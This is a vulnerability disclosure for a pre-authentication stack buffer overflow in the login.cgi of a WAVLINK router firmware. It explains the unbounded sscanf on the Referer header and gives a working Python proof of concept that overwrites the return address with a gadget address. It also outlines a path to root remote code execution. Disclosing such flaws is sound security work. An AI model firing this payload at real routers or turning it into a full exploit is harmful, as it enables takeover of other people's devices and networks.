Product: wavlink QUANTUM D3G/WL-WN530HG3
Affected Firmware Version: M30HG3_V240730
Vulnerability Type: Stack-based Buffer Overflow
Impact: Remote Code Execution (RCE)
Attack Vector: Remote
Authentication Required: None (Unauthenticated)
A stack-based buffer overflow vulnerability exists in the login.cgi component of multiple WAVLINK router models, specifically within the sys_login function (identified as sub_400E60 during analysis). The vulnerability is triggered when the CGI program processes an HTTP POST request containing an overly long HTTP_REFERER header. An unauthenticated remote attacker can exploit this vulnerability by sending a specially crafted request, leading to arbitrary code execution with root privileges on the affected device.
The root cause of the vulnerability lies in the sub_400E60 function, which is responsible for handling user authentication. At the beginning of this function, the program retrieves the HTTP_REFERER header from the environment variables using getenv(). It then uses the insecure sscanf() function with an unbounded format string (%[^//]//%[^/]/%s) to parse the Referer URL into three fixed-size stack buffers (v88, v89, v90), each allocated with only 64 bytes on the stack.
An attacker can provide a Referer header exceeding the 64-byte limit of the target buffers. The sscanf() function does not perform any bounds checking and will write the excess data past the buffer's boundary, overwriting adjacent local variables, saved registers (including the frame pointer $fp), and ultimately, the function's return address ($ra) on the stack.
This vulnerability can be triggered without authentication because the vulnerable sscanf() call occurs before any password or session validation logic is executed within the function.
The vulnerability can be reliably triggered, causing a Denial of Service (DoS) by crashing the CGI process. This crash has been confirmed by observing signal 11 (SIGSEGV) in the web server's logs when running in debug mode.
The following Python script using the requests library demonstrates how to trigger the crash. The exploit payload is delivered via a long string in the Referer header.
codePython
import requests
import urllib3
#target url
url = "http://192.168.0.2/cgi-bin/login.cgi"
gadget = 0x4031F0
padding = b"a"*196
referer_payload = b"http://AAAAAAA/" + padding + b"\xf0" + b"\x31" + b"\x40"
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'Connection': 'close',
'Referer': referer_payload,
'Host': '192.168.0.2',
"Content-Length": "10",
}
post_data = {
'page': 'login'
}
response = requests.post(url, headers=headers, data=post_data, timeout=5)
print(str(response.status_code))
Successful exploitation of this vulnerability allows an attacker to gain full control over the program's execution flow by overwriting the return address. Due to the lack of stack canaries and Position-Independent Executable (PIE) protections on the binary, an attacker can reliably build a Return-Oriented Programming (ROP) chain to bypass NX (Data Execution Prevention). As the lighttpd web server and its CGI processes run with root privileges, this vulnerability directly leads to unauthenticated remote code execution as the root user